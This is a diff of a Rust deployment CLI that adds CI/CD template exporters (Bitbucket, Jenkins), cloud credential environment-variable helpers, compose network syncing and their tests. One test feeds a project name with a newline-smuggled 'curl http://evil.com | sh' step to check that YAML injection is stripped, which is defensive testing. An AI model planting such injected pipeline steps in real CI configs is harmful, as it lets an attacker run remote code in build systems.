+    if let Some(value) = value.map(|value| value.trim().to_string()) {
+        if !value.is_empty() {
+            vars.insert(key.to_string(), value);
+        }
+    }
+}
+
+fn scenario_vars_yaml(vars: &BTreeMap<String, String>) -> String {
+    if vars.is_empty() {
+        return "(none saved yet)".to_string();
+    }
+
+    serde_yaml::to_string(vars)
+        .unwrap_or_else(|_| "(failed to render variables)".to_string())
+        .trim()
+        .to_string()
+}
+
+fn detect_git_remote_url(project_dir: &Path) -> Option<String> {
+    let output = Command::new("git")
+        .args(["config", "--get", "remote.origin.url"])
+        .current_dir(project_dir)
+        .output()
+        .ok()?;
+    if !output.status.success() {
+        return None;
+    }
+
+    let remote = String::from_utf8_lossy(&output.stdout).trim().to_string();
+    (!remote.is_empty()).then_some(remote)
+}
+
+fn primary_public_domain(config: &StackerConfig) -> Option<String> {
+    config
+        .proxy
+        .domains
+        .iter()
+        .map(|domain| domain.domain.trim())
+        .find(|domain| !domain.is_empty() && !is_placeholder_domain(domain))
+        .map(ToOwned::to_owned)
+}
+
+fn is_placeholder_domain(domain: &str) -> bool {
+    domain.ends_with(".localhost") || domain.contains("example.com")
+}
+
+fn derive_image_repository_from_repo_url(repo_url: &str) -> Option<String> {
+    let remote = repo_url.trim().trim_end_matches(".git");
+    let path = if let Some(path) = remote.strip_prefix("git@github.com:") {
+        path
+    } else if let Some(path) = remote.strip_prefix("https://github.com/") {
+        path
+    } else if let Some(path) = remote.strip_prefix("ssh://git@github.com/") {
+        path
+    } else {
+        return None;
+    };
+
+    let mut segments = path.split('/');
+    let owner = segments.next()?.trim();
+    let repo = segments.next()?.trim();
+    if owner.is_empty() || repo.is_empty() {
+        return None;
+    }
+
+    Some(format!("ghcr.io/{owner}/{repo}"))
+}
+
+fn split_image_reference(image: &str) -> (String, Option<String>) {
+    let last_slash = image.rfind('/');
+    let last_colon = image.rfind(':');
+    if let Some(colon_index) = last_colon {
+        if last_slash.map(|slash| colon_index > slash).unwrap_or(true) {
+            let repository = image[..colon_index].to_string();
+            let tag = image[colon_index + 1..].trim().to_string();
+            return (repository, (!tag.is_empty()).then_some(tag));
+        }
+    }
+
+    (image.to_string(), None)
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use crate::cli::config_parser::{AiProviderType, ProxyType};
+
+    fn website_ai_config(model: &str) -> AiConfig {
+        AiConfig {
+            enabled: true,
+            provider: AiProviderType::Ollama,
+            model: Some(model.to_string()),
+            api_key: None,
+            endpoint: Some("http://localhost:11434".to_string()),
+            timeout: 300,
+            tasks: vec![],
+        }
+    }
+
+    #[test]
+    fn test_detect_html_website_candidate() {
+        let dir = tempfile::TempDir::new().unwrap();
+        std::fs::write(dir.path().join("index.html"), "<html></html>").unwrap();
+
+        let mut config = StackerConfig::default();
+        config.app.app_type = AppType::Static;
+
+        assert_eq!(
+            detect_website_project_kind(dir.path(), &config),
+            Some(WebsiteProjectKind::Html)
+        );
+    }
+
+    #[test]
+    fn test_detect_nextjs_website_candidate() {
+        let dir = tempfile::TempDir::new().unwrap();
+        std::fs::write(
+            dir.path().join("package.json"),
+            r#"{"dependencies":{"next":"15.0.0"}}"#,
+        )
+        .unwrap();
+
+        let mut config = StackerConfig::default();
+        config.app.app_type = AppType::Node;
+
+        assert_eq!(
+            detect_website_project_kind(dir.path(), &config),
+            Some(WebsiteProjectKind::NextJs)
+        );
+    }
+
+    #[test]
+    fn test_seed_website_scenario_state_derives_repo_image_and_cloud_values() {
+        let dir = tempfile::TempDir::new().unwrap();
+        std::fs::create_dir_all(dir.path().join(".git")).unwrap();
+
+        let mut config = StackerConfig::default();
+        config.name = "status-web".to_string();
+        config.app.app_type = AppType::Static;
+        config.proxy.proxy_type = ProxyType::Nginx;
+        config
+            .proxy
+            .domains
+            .push(crate::cli::config_parser::DomainConfig {
+                domain: "status.try.direct".to_string(),
+                ssl: crate::cli::config_parser::SslMode::Auto,
+                upstream: "app:80".to_string(),
+            });
+        config.deploy.cloud = Some(crate::cli::config_parser::CloudConfig {
+            provider: crate::cli::config_parser::CloudProvider::Hetzner,
+            orchestrator: crate::cli::config_parser::CloudOrchestrator::Remote,
+            region: Some("nbg1".to_string()),
+            size: Some("cx23".to_string()),
+            install_image: None,
+            remote_payload_file: None,
+            ssh_key: None,
+            key: None,
+            server: None,
+            public_ports: Vec::new(),
+        });
+
+        // Simulate a git remote through an existing state seed instead of shelling out in tests.
+        let ai_config = website_ai_config("qwen2.5-coder:latest");
+        let mut state = seed_website_scenario_state(
+            dir.path(),
+            &dir.path().join("stacker.yml"),
+            &config,
+            &ai_config,
+            &WebsiteProjectKind::Html,
+        );
+        state.vars.insert(
+            "repo_url".to_string(),
+            "https://github.com/trydirect/status-web.git".to_string(),
+        );
+        if !state.vars.contains_key("image_repository") {
+            state.vars.insert(
+                "image_repository".to_string(),
+                derive_image_repository_from_repo_url(state.vars.get("repo_url").unwrap()).unwrap(),
+            );
+        }
+
+        assert_eq!(
+            state.vars.get("project_name").map(String::as_str),
+            Some("status-web")
+        );
+        assert_eq!(
+            state.vars.get("public_domain").map(String::as_str),
+            Some("status.try.direct")
+        );
+        assert_eq!(
+            state.vars.get("cloud_provider").map(String::as_str),
+            Some("hetzner")
+        );
+        assert_eq!(
+            state.vars.get("cloud_region").map(String::as_str),
+            Some("nbg1")
+        );
+        assert_eq!(
+            state.vars.get("image_repository").map(String::as_str),
+            Some("ghcr.io/trydirect/status-web")
+        );
+    }
+
+    #[test]
+    fn test_load_scenario_prompt_context_uses_local_override_step() {
+        let dir = tempfile::TempDir::new().unwrap();
+        let scenario_dir = local_scenario_dir(dir.path(), WEBSITE_DEPLOY_SCENARIO);
+        std::fs::create_dir_all(scenario_dir.join("steps")).unwrap();
+        std::fs::write(
+            scenario_dir.join("steps/01-init-validate.md"),
+            "Local override step content",
+        )
+        .unwrap();
+        save_scenario_state(
+            dir.path(),
+            &ScenarioState::new(WEBSITE_DEPLOY_SCENARIO, "init-validate"),
+        )
+        .unwrap();
+
+        let context = load_scenario_prompt_context(
+            dir.path(),
+            &website_ai_config(AI_MODEL),
+            &ScenarioSelection::new(WEBSITE_DEPLOY_SCENARIO, Some("init-validate".to_string())),
+        )
+        .unwrap();
+
+        assert!(context
+            .rendered_prompt
+            .contains("Local override step content"));
+        assert_eq!(context.step_id, "init-validate");
+    }
+
+    #[test]
+    fn test_missing_required_vars_reports_absent_values() {
+        let manifest = load_scenario_manifest(Path::new("."), WEBSITE_DEPLOY_SCENARIO).unwrap();
+        let mut state = ScenarioState::new(WEBSITE_DEPLOY_SCENARIO, "init-validate");
+        state
+            .vars
+            .insert("image_tag".to_string(), "latest".to_string());
+
+        let missing = missing_required_vars(&manifest, &state);
+        assert!(missing.contains(&"public_domain".to_string()));
+        assert!(!missing.contains(&"image_tag".to_string()));
+    }
+}
diff --git a/src/cli/ci_export.rs b/src/cli/ci_export.rs
index cffd6247..51c8b54e 100644
--- a/src/cli/ci_export.rs
+++ b/src/cli/ci_export.rs
@@ -61,6 +61,38 @@ deploy:
     - main
 "#;
 
+/// Bitbucket Pipelines template.
+const BITBUCKET_PIPELINES_TEMPLATE: &str = r#"# Bitbucket Pipelines generated by Stacker for {{ name }}
+pipelines:
+  branches:
+    main:
+      - step:
+          name: Deploy {{ name }}
+          image: atlassian/default-image:3
+          script:
+            - curl -fsSL https://get.try.direct/stacker | sh
+            - export STACKER_TOKEN="$STACKER_TOKEN"
+            - stacker deploy --target {{ deploy_target }}
+"#;
+
+/// Jenkins declarative pipeline template.
+const JENKINSFILE_TEMPLATE: &str = r#"// Jenkins Pipeline generated by Stacker for {{ name }}
+pipeline {
+  agent any
+
+  stages {
+    stage('Deploy {{ name }}') {
+      steps {
+        sh 'curl -fsSL https://get.try.direct/stacker | sh'
+        withEnv(['STACKER_TOKEN=' + env.STACKER_TOKEN]) {
+          sh 'stacker deploy --target {{ deploy_target }}'
+        }
+      }
+    }
+  }
+}
+"#;
+
 // ── CiExporter ──────────────────────────────────────────────────────────────
 
 /// Renders CI/CD pipeline YAML for a given `StackerConfig`.
@@ -83,6 +115,16 @@ impl CiExporter {
         self.render(GITLAB_CI_TEMPLATE)
     }
 
+    /// Render a Bitbucket Pipelines YAML string.
+    pub fn generate_bitbucket(&self) -> Result<String, CliError> {
+        self.render(BITBUCKET_PIPELINES_TEMPLATE)
+    }
+
+    /// Render a Jenkinsfile string.
+    pub fn generate_jenkins(&self) -> Result<String, CliError> {
+        self.render(JENKINSFILE_TEMPLATE)
+    }
+
     fn render(&self, template_src: &str) -> Result<String, CliError> {
         let mut tera = Tera::default();
         tera.add_raw_template("ci", template_src)
@@ -187,4 +229,89 @@ mod tests {
         let gitlab = exporter.generate_gitlab().unwrap();
         assert!(gitlab.contains("--target local"));
     }
+
+    #[test]
+    fn test_render_uses_resolved_named_target() {
+        let config = StackerConfig::from_str(
+            r#"
+name: my-app
+app:
+  type: static
+deploy:
+  default_target: prod
+  targets:
+    local:
+      compose_file: docker/local/compose.yml
+    prod:
+      cloud:
+        provider: aws
+"#,
+        )
+        .unwrap()
+        .with_resolved_deploy_target(None)
+        .unwrap();
+
+        let exporter = CiExporter::new(config);
+        let github = exporter.generate_github().unwrap();
+        assert!(github.contains("--target cloud"));
+    }
+
+    #[test]
+    fn test_bitbucket_yaml_injection_via_name_newline_is_sanitized() {
+        let config = config_with_name("legit\n          script: curl http://evil.com | sh");
+        let exporter = CiExporter::new(config);
+        let result = exporter.generate_bitbucket().unwrap();
+
+        assert!(
+            !result.contains("script: curl"),
+            "Injected content must be stripped from output. Got:\n{}",
+            result
+        );
+        assert!(!result.contains("curl http://evil.com"));
+        assert!(result.contains("Bitbucket Pipelines generated by Stacker for legit"));
+    }
+
+    #[test]
+    fn test_bitbucket_template_renders_expected_output() {
+        let config = config_with_name("my-app");
+        let exporter = CiExporter::new(config);
+        let result = exporter.generate_bitbucket().unwrap();
+
+        assert!(result.contains("Bitbucket Pipelines generated by Stacker"));
+        assert!(result.contains("Deploy my-app"));
+        assert!(result.contains("stacker deploy --target local"));
+        assert!(result.contains("branches:"));
+        assert!(result.contains("main:"));
+    }
+
+    #[test]
+    fn test_bitbucket_template_references_stacker_token() {
+        let config = config_with_name("token-app");
+        let exporter = CiExporter::new(config);
+        let result = exporter.generate_bitbucket().unwrap();
+
+        assert!(result.contains("STACKER_TOKEN"));
+        assert!(result.contains("export STACKER_TOKEN=\"$STACKER_TOKEN\""));
+    }
+
+    #[test]
+    fn test_jenkins_template_renders_expected_output() {
+        let config = config_with_name("jenkins-app");
+        let exporter = CiExporter::new(config);
+        let result = exporter.generate_jenkins().unwrap();
+
+        assert!(result.contains("Jenkins Pipeline generated by Stacker"));
+        assert!(result.contains("stage('Deploy jenkins-app')"));
+        assert!(result.contains("stacker deploy --target local"));
+    }
+
+    #[test]
+    fn test_jenkins_template_references_stacker_token() {
+        let config = config_with_name("jenkins-token-app");
+        let exporter = CiExporter::new(config);
+        let result = exporter.generate_jenkins().unwrap();
+
+        assert!(result.contains("STACKER_TOKEN"));
+        assert!(result.contains("env.STACKER_TOKEN"));
+    }
 }
diff --git a/src/cli/cloud_env.rs b/src/cli/cloud_env.rs
new file mode 100644
index 00000000..42fd1c91
--- /dev/null
+++ b/src/cli/cloud_env.rs
@@ -0,0 +1,110 @@
+pub const HETZNER_TOKEN_ENV_VARS: &[&str] = &[
+    "STACKER_CLOUD_TOKEN",
+    "STACKER_HETZNER_TOKEN",
+    "HCLOUD_TOKEN",
+];
+pub const DIGITALOCEAN_TOKEN_ENV_VARS: &[&str] = &[
+    "STACKER_CLOUD_TOKEN",
+    "STACKER_DIGITALOCEAN_TOKEN",
+    "DIGITALOCEAN_TOKEN",
+];
+pub const LINODE_TOKEN_ENV_VARS: &[&str] = &[
+    "STACKER_CLOUD_TOKEN",
+    "STACKER_LINODE_TOKEN",
+    "LINODE_TOKEN",
+];
+pub const VULTR_TOKEN_ENV_VARS: &[&str] = &[
+    "STACKER_CLOUD_TOKEN",
+    "STACKER_VULTR_TOKEN",
+    "VULTR_API_KEY",
+];
+
+pub const AWS_KEY_ENV_VARS: &[&str] = &["STACKER_CLOUD_KEY", "AWS_ACCESS_KEY_ID"];
+pub const AWS_SECRET_ENV_VARS: &[&str] = &["STACKER_CLOUD_SECRET", "AWS_SECRET_ACCESS_KEY"];
+
+pub const CONTABO_CLIENT_ID_ENV_VARS: &[&str] = &["STACKER_CONTABO_CLIENT_ID"];
+pub const CONTABO_CLIENT_SECRET_ENV_VARS: &[&str] = &["STACKER_CONTABO_CLIENT_SECRET"];
+pub const CONTABO_API_USER_ENV_VARS: &[&str] = &["STACKER_CONTABO_API_USER"];
+pub const CONTABO_API_PASSWORD_ENV_VARS: &[&str] = &["STACKER_CONTABO_API_PASSWORD"];
+
+pub fn token_env_vars(provider_code: &str) -> &'static [&'static str] {
+    match provider_code {
+        "htz" => HETZNER_TOKEN_ENV_VARS,
+        "do" => DIGITALOCEAN_TOKEN_ENV_VARS,
+        "lo" => LINODE_TOKEN_ENV_VARS,
+        "vu" => VULTR_TOKEN_ENV_VARS,
+        _ => &[],
+    }
+}
+
+pub fn key_env_vars(provider_code: &str) -> &'static [&'static str] {
+    match provider_code {
+        "aws" => AWS_KEY_ENV_VARS,
+        _ => &[],
+    }
+}
+
+pub fn secret_env_vars(provider_code: &str) -> &'static [&'static str] {
+    match provider_code {
+        "aws" => AWS_SECRET_ENV_VARS,
+        _ => &[],
+    }
+}
+
+pub fn provider_cli_example(provider_code: &str) -> &'static str {
+    match provider_code {
+        "htz" => "HCLOUD_TOKEN=<token> stacker deploy --target cloud",
+        "do" => "DIGITALOCEAN_TOKEN=<token> stacker deploy --target cloud",
+        "lo" => "LINODE_TOKEN=<token> stacker deploy --target cloud",
+        "vu" => "VULTR_API_KEY=<key> stacker deploy --target cloud",
+        "aws" => {
+            "AWS_ACCESS_KEY_ID=<key> AWS_SECRET_ACCESS_KEY=<secret> stacker deploy --target cloud"
+        }
+        "cnt" => {
+            "STACKER_CONTABO_CLIENT_ID=<id> STACKER_CONTABO_CLIENT_SECRET=<secret> STACKER_CONTABO_API_USER=<user> STACKER_CONTABO_API_PASSWORD=<password> stacker deploy --target cloud"
+        }
+        _ => "stacker deploy --target cloud",
+    }
+}
+
+pub fn provider_missing_credentials_hint(provider_code: &str) -> &'static str {
+    match provider_code {
+        "htz" => {
+            "Set HCLOUD_TOKEN (or STACKER_CLOUD_TOKEN / STACKER_HETZNER_TOKEN), or save a Hetzner cloud credential first with `stacker deploy --target cloud` while that token is exported."
+        }
+        "do" => {
+            "Set DIGITALOCEAN_TOKEN (or STACKER_CLOUD_TOKEN / STACKER_DIGITALOCEAN_TOKEN), or save a DigitalOcean cloud credential first."
+        }
+        "lo" => {
+            "Set LINODE_TOKEN (or STACKER_CLOUD_TOKEN / STACKER_LINODE_TOKEN), or save a Linode cloud credential first."
+        }
+        "vu" => {
+            "Set VULTR_API_KEY (or STACKER_CLOUD_TOKEN / STACKER_VULTR_TOKEN), or save a Vultr cloud credential first."
+        }
+        "aws" => {
+            "Set AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY (or STACKER_CLOUD_KEY / STACKER_CLOUD_SECRET), or save AWS cloud credentials first."
+        }
+        "cnt" => {
+            "Set STACKER_CONTABO_CLIENT_ID, STACKER_CONTABO_CLIENT_SECRET, STACKER_CONTABO_API_USER, and STACKER_CONTABO_API_PASSWORD, or save a Contabo cloud credential first."
+        }
+        _ => "Set the required provider credential env vars, or save a cloud credential first.",
+    }
+}
+
+pub fn provider_env_summary(provider_code: &str) -> &'static str {
+    match provider_code {
+        "htz" => "STACKER_CLOUD_TOKEN, STACKER_HETZNER_TOKEN, HCLOUD_TOKEN",
+        "do" => {
+            "STACKER_CLOUD_TOKEN, STACKER_DIGITALOCEAN_TOKEN, DIGITALOCEAN_TOKEN"
+        }
+        "lo" => "STACKER_CLOUD_TOKEN, STACKER_LINODE_TOKEN, LINODE_TOKEN",
+        "vu" => "STACKER_CLOUD_TOKEN, STACKER_VULTR_TOKEN, VULTR_API_KEY",
+        "aws" => {
+            "STACKER_CLOUD_KEY, AWS_ACCESS_KEY_ID, STACKER_CLOUD_SECRET, AWS_SECRET_ACCESS_KEY"
+        }
+        "cnt" => {
+            "STACKER_CONTABO_CLIENT_ID, STACKER_CONTABO_CLIENT_SECRET, STACKER_CONTABO_API_USER, STACKER_CONTABO_API_PASSWORD"
+        }
+        _ => "provider-specific cloud credential env vars",
+    }
+}
diff --git a/src/cli/compose_service_sync.rs b/src/cli/compose_service_sync.rs
new file mode 100644
index 00000000..4c3be0ad
--- /dev/null
+++ b/src/cli/compose_service_sync.rs
@@ -0,0 +1,753 @@
+use std::collections::BTreeMap;
+use std::path::{Path, PathBuf};
+
+use crate::cli::config_parser::{ProxyConfig, ProxyType, ServiceDefinition, StackerConfig};
+use crate::cli::error::CliError;
+
+#[derive(Debug, Clone, Default, PartialEq, Eq)]
+pub struct ComposeServiceSyncResult {
+    pub compose_path: Option<PathBuf>,
+    pub backup_path: Option<PathBuf>,
+    pub updated_services: Vec<String>,
+}
+
+/// Extract the service name from an upstream string like `svc:3000` or `http://svc:3000`.
+pub fn upstream_service_name(upstream: &str) -> Option<String> {
+    let s = upstream
+        .trim_start_matches("https://")
+        .trim_start_matches("http://");
+    let host = s.split('/').next()?;
+    let name = host.split(':').next()?;
+    if name.is_empty() {
+        None
+    } else {
+        Some(name.to_string())
+    }
+}
+
+/// Inject `default_network` into `service_name` inside `compose_doc` when the service is
+/// listed as an NginxProxyManager upstream. Declares the network as `external: true` at
+/// the top level. Returns `true` if the document was modified.
+pub fn inject_npm_proxy_network(
+    compose_doc: &mut serde_yaml::Value,
+    service_name: &str,
+    proxy: &ProxyConfig,
+) -> bool {
+    if proxy.proxy_type != ProxyType::NginxProxyManager {
+        return false;
+    }
+    let is_proxied = proxy.domains.iter().any(|d| {
+        upstream_service_name(&d.upstream)
+            .map(|n| n == service_name)
+            .unwrap_or(false)
+    });
+    if !is_proxied {
+        return false;
+    }
+    inject_external_network(compose_doc, service_name, "default_network")
+}
+
+/// Attach every service in `compose_doc` to a shared `external: true` `network`
+/// and declare it at the top level. Idempotent — services already on the network
+/// are left unchanged. Returns `true` if the document was modified.
+///
+/// Used so status-panel/agent deploys can reach the project's containers: the
+/// agent lives on `default_network`, and project containers must share it. The
+/// CLI-generated compose already joins `default_network`; this also covers
+/// user-supplied composes that define their own network.
+pub fn inject_shared_network_all_services(
+    compose_doc: &mut serde_yaml::Value,
+    network: &str,
+) -> bool {
+    let service_names: Vec<String> = compose_doc
+        .get("services")
+        .and_then(serde_yaml::Value::as_mapping)
+        .map(|services| {
+            services
+                .keys()
+                .filter_map(|key| key.as_str().map(str::to_string))
+                .collect()
+        })
+        .unwrap_or_default();
+
+    let mut changed = false;
+    for service_name in service_names {
+        if inject_external_network(compose_doc, &service_name, network) {
+            changed = true;
+        }
+    }
+    changed
+}
+
+fn inject_external_network(
+    compose_doc: &mut serde_yaml::Value,
+    service_name: &str,
+    network: &str,
+) -> bool {
+    let mut changed = false;
+    let network_val = serde_yaml::Value::String(network.to_string());
+
+    if let Some(svc) = compose_doc
+        .get_mut("services")
+        .and_then(|s| s.get_mut(service_name))
+        .and_then(serde_yaml::Value::as_mapping_mut)
+    {
+        let networks_key = serde_yaml::Value::String("networks".to_string());
+        match svc.get_mut(&networks_key) {
+            Some(serde_yaml::Value::Sequence(seq)) => {
+                if !seq.contains(&network_val) {
+                    seq.push(network_val);
+                    changed = true;
+                }
+            }
+            None => {
+                svc.insert(networks_key, serde_yaml::Value::Sequence(vec![network_val]));
+                changed = true;
+            }
+            _ => {}
+        }
+    }
+
+    if changed {
+        upsert_external_network(compose_doc, network);
+    }
+    changed
+}
+
+fn upsert_external_network(compose_doc: &mut serde_yaml::Value, network: &str) {
+    let Some(root) = compose_doc.as_mapping_mut() else {
+        return;
+    };
+    let networks_key = serde_yaml::Value::String("networks".to_string());
+    if !root.contains_key(&networks_key) {
+        root.insert(
+            networks_key.clone(),
+            serde_yaml::Value::Mapping(Default::default()),
+        );
+    }
+    if let Some(top_networks) = root
+        .get_mut(&networks_key)
+        .and_then(serde_yaml::Value::as_mapping_mut)
+    {
+        let net_key = serde_yaml::Value::String(network.to_string());
+        if !top_networks.contains_key(&net_key) {
+            let mut net_config = serde_yaml::Mapping::new();
+            net_config.insert(
+                serde_yaml::Value::String("external".to_string()),
+                serde_yaml::Value::Bool(true),
+            );
+            top_networks.insert(net_key, serde_yaml::Value::Mapping(net_config));
+        }
+    }
+}
+
+pub fn sync_configured_compose_services(
+    project_dir: &Path,
+    config: &StackerConfig,
+    service_names: &[String],
+) -> Result<ComposeServiceSyncResult, CliError> {
+    let Some(compose_file) = config.deploy.compose_file.as_ref() else {
+        return Ok(ComposeServiceSyncResult::default());
+    };
+    if service_names.is_empty() {
+        return Ok(ComposeServiceSyncResult {
+            compose_path: Some(resolve_path(project_dir, compose_file)),
+            ..Default::default()
+        });
+    }
+
+    let compose_path = resolve_path(project_dir, compose_file);
+    if !compose_path.exists() {
+        return Err(CliError::ConfigValidation(format!(
+            "Configured compose file does not exist: {}",
+            compose_path.display()
+        )));
+    }
+
+    let original = std::fs::read_to_string(&compose_path)?;
+    let mut compose_doc: serde_yaml::Value = serde_yaml::from_str(&original)?;
+    let project_networks = project_service_networks(&compose_doc);
+    let mut updated_services = Vec::new();
+
+    for service_name in service_names {
+        let service = config
+            .services
+            .iter()
+            .find(|service| service.name == *service_name)
+            .ok_or_else(|| {
+                CliError::ConfigValidation(format!(
+                    "Service '{}' was not found in stacker.yml",
+                    service_name
+                ))
+            })?;
+
+        let mut svc_networks = project_networks.clone();
+        if config.proxy.proxy_type == ProxyType::NginxProxyManager
+            && !svc_networks.contains(&"default_network".to_string())
+            && config.proxy.domains.iter().any(|d| {
+                upstream_service_name(&d.upstream)
+                    .map(|n| n == *service_name)
+                    .unwrap_or(false)
+            })
+        {
+            svc_networks.push("default_network".to_string());
+            upsert_external_network(&mut compose_doc, "default_network");
+        }
+
+        upsert_compose_service(&mut compose_doc, service, &svc_networks)?;
+        updated_services.push(service.name.clone());
+    }
+
+    let updated = serde_yaml::to_string(&compose_doc)
+        .map_err(|err| CliError::ConfigValidation(format!("failed to serialize compose: {err}")))?;
+    if updated == original {
+        return Ok(ComposeServiceSyncResult {
+            compose_path: Some(compose_path),
+            backup_path: None,
+            updated_services: Vec::new(),
+        });
+    }
+
+    let backup_path = backup_path(&compose_path);
+    std::fs::copy(&compose_path, &backup_path)?;
+    std::fs::write(&compose_path, updated)?;
+
+    Ok(ComposeServiceSyncResult {
+        compose_path: Some(compose_path),
+        backup_path: Some(backup_path),
+        updated_services,
+    })
+}
+
+fn resolve_path(project_dir: &Path, path: &Path) -> PathBuf {
+    if path.is_absolute() {
+        path.to_path_buf()
+    } else {
+        project_dir.join(path)
+    }
+}
+
+fn backup_path(path: &Path) -> PathBuf {
+    PathBuf::from(format!("{}.bak", path.to_string_lossy()))
+}
+
+fn upsert_compose_service(
+    compose_doc: &mut serde_yaml::Value,
+    service: &ServiceDefinition,
+    project_networks: &[String],
+) -> Result<(), CliError> {
+    let services_key = serde_yaml::Value::String("services".to_string());
+    let root = compose_doc.as_mapping_mut().ok_or_else(|| {
+        CliError::ConfigValidation("docker compose file must be a YAML mapping".to_string())
+    })?;
+    if !root.contains_key(&services_key) {
+        root.insert(
+            services_key.clone(),
+            serde_yaml::Value::Mapping(Default::default()),
+        );
+    }
+    let services = root
+        .get_mut(&services_key)
+        .and_then(serde_yaml::Value::as_mapping_mut)
+        .ok_or_else(|| {
+            CliError::ConfigValidation("docker compose file services must be a mapping".to_string())
+        })?;
+
+    services.insert(
+        serde_yaml::Value::String(service.name.clone()),
+        service_to_compose_value(service, project_networks),
+    );
+    upsert_named_volumes(root, &service.volumes);
+    Ok(())
+}
+
+fn service_to_compose_value(
+    service: &ServiceDefinition,
+    project_networks: &[String],
+) -> serde_yaml::Value {
+    let mut map = serde_yaml::Mapping::new();
+    map.insert(
+        serde_yaml::Value::String("image".to_string()),
+        serde_yaml::Value::String(service.image.clone()),
+    );
+    insert_string_sequence(&mut map, "ports", &service.ports);
+    insert_environment(&mut map, &service.environment);
+    if let Some(ref cmd) = service.command {
+        map.insert(
+            serde_yaml::Value::String("command".to_string()),
+            serde_yaml::Value::String(cmd.clone()),
+        );
+    }
+    if let Some(ref hc) = service.healthcheck {
+        let mut hc_map = serde_yaml::Mapping::new();
+        hc_map.insert(
+            serde_yaml::Value::String("test".to_string()),
+            serde_yaml::Value::String(hc.test.clone()),
+        );
+        hc_map.insert(
+            serde_yaml::Value::String("interval".to_string()),
+            serde_yaml::Value::String(hc.interval.clone()),
+        );
+        hc_map.insert(
+            serde_yaml::Value::String("timeout".to_string()),
+            serde_yaml::Value::String(hc.timeout.clone()),
+        );
+        hc_map.insert(
+            serde_yaml::Value::String("retries".to_string()),
+            serde_yaml::Value::Number(hc.retries.into()),
+        );
+        map.insert(
+            serde_yaml::Value::String("healthcheck".to_string()),
+            serde_yaml::Value::Mapping(hc_map),
+        );
+    }
+    insert_string_sequence(&mut map, "volumes", &service.volumes);
+    insert_string_sequence(&mut map, "depends_on", &service.depends_on);
+    if !project_networks.is_empty() {
+        insert_string_sequence(&mut map, "networks", project_networks);
+    }
+    map.insert(
+        serde_yaml::Value::String("restart".to_string()),
+        serde_yaml::Value::String("unless-stopped".to_string()),
+    );
+    serde_yaml::Value::Mapping(map)
+}
+
+fn insert_string_sequence(map: &mut serde_yaml::Mapping, key: &str, values: &[String]) {
+    if values.is_empty() {
+        return;
+    }
+    map.insert(
+        serde_yaml::Value::String(key.to_string()),
+        serde_yaml::Value::Sequence(
+            values
+                .iter()
+                .map(|value| serde_yaml::Value::String(value.clone()))
+                .collect(),
+        ),
+    );
+}
+
+fn insert_environment(
+    map: &mut serde_yaml::Mapping,
+    environment: &std::collections::HashMap<String, String>,
+) {
+    if environment.is_empty() {
+        return;
+    }
+    let sorted: BTreeMap<_, _> = environment.iter().collect();
+    let mut env_map = serde_yaml::Mapping::new();
+    for (key, value) in sorted {
+        env_map.insert(
+            serde_yaml::Value::String(key.clone()),
+            serde_yaml::Value::String(value.clone()),
+        );
+    }
+    map.insert(
+        serde_yaml::Value::String("environment".to_string()),
+        serde_yaml::Value::Mapping(env_map),
+    );
+}
+
+fn upsert_named_volumes(root: &mut serde_yaml::Mapping, volumes: &[String]) {
+    let named_volumes: Vec<String> = volumes
+        .iter()
+        .filter_map(|volume| named_volume_source(volume))
+        .collect();
+    if named_volumes.is_empty() {
+        return;
+    }
+
+    let volumes_key = serde_yaml::Value::String("volumes".to_string());
+    if !root.contains_key(&volumes_key) {
+        root.insert(
+            volumes_key.clone(),
+            serde_yaml::Value::Mapping(Default::default()),
+        );
+    }
+    let Some(volume_map) = root
+        .get_mut(&volumes_key)
+        .and_then(serde_yaml::Value::as_mapping_mut)
+    else {
+        return;
+    };
+    for volume in named_volumes {
+        let key = serde_yaml::Value::String(volume.clone());
+        if volume_map.contains_key(&key) {
+            continue;
+        }
+        let mut value = serde_yaml::Mapping::new();
+        value.insert(
+            serde_yaml::Value::String("name".to_string()),
+            serde_yaml::Value::String(volume),
+        );
+        volume_map.insert(key, serde_yaml::Value::Mapping(value));
+    }
+}
+
+fn named_volume_source(volume: &str) -> Option<String> {
+    let (source, _) = volume.split_once(':')?;
+    if source.starts_with('.') || source.starts_with('/') || source.starts_with('$') {
+        return None;
+    }
+    Some(source.to_string())
+}
+
+fn project_service_networks(project_doc: &serde_yaml::Value) -> Vec<String> {
+    let Some(project_services) = project_doc
+        .as_mapping()
+        .and_then(|root| root.get(serde_yaml::Value::String("services".to_string())))
+        .and_then(serde_yaml::Value::as_mapping)
+    else {
+        return Vec::new();
+    };
+
+    let mut networks = Vec::new();
+    for service in project_services.values() {
+        let Some(networks_value) = service
+            .as_mapping()
+            .and_then(|service| service.get(serde_yaml::Value::String("networks".to_string())))
+        else {
+            continue;
+        };
+        collect_network_names(networks_value, &mut networks);
+    }
+    networks
+}
+
+fn collect_network_names(value: &serde_yaml::Value, networks: &mut Vec<String>) {
+    match value {
+        serde_yaml::Value::String(name) => push_unique_network(networks, name),
+        serde_yaml::Value::Sequence(items) => {
+            for item in items {
+                if let Some(name) = item.as_str() {
+                    push_unique_network(networks, name);
+                }
+            }
+        }
+        serde_yaml::Value::Mapping(map) => {
+            for key in map.keys() {
+                if let Some(name) = key.as_str() {
+                    push_unique_network(networks, name);
+                }
+            }
+        }
+        _ => {}
+    }
+}
+
+fn push_unique_network(networks: &mut Vec<String>, name: &str) {
+    if !networks.iter().any(|existing| existing == name) {
+        networks.push(name.to_string());
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use crate::cli::config_parser::{
+        AppSource, DeployConfig, DomainConfig, ProjectConfig, SslMode,
+    };
+    use std::collections::HashMap;
+    use tempfile::TempDir;
+
+    #[test]
+    fn inject_shared_network_all_services_is_idempotent_and_covers_all() {
+        let mut doc: serde_yaml::Value = serde_yaml::from_str(
+            "services:\n  app:\n    image: a\n    networks: [default_network]\n  db:\n    image: b\n",
+        )
+        .unwrap();
+
+        // First pass: only `db` is missing the network → changed.
+        assert!(inject_shared_network_all_services(
+            &mut doc,
+            "default_network"
+        ));
+        for svc in ["app", "db"] {
+            let nets = doc["services"][svc]["networks"].as_sequence().unwrap();
+            assert_eq!(
+                nets.iter()
+                    .filter(|n| n.as_str() == Some("default_network"))
+                    .count(),
+                1,
+                "service {svc} should have default_network exactly once"
+            );
+        }
+        assert_eq!(doc["networks"]["default_network"]["external"], true);
+
+        // Second pass: everything already present → no change (idempotent).
+        assert!(!inject_shared_network_all_services(
+            &mut doc,
+            "default_network"
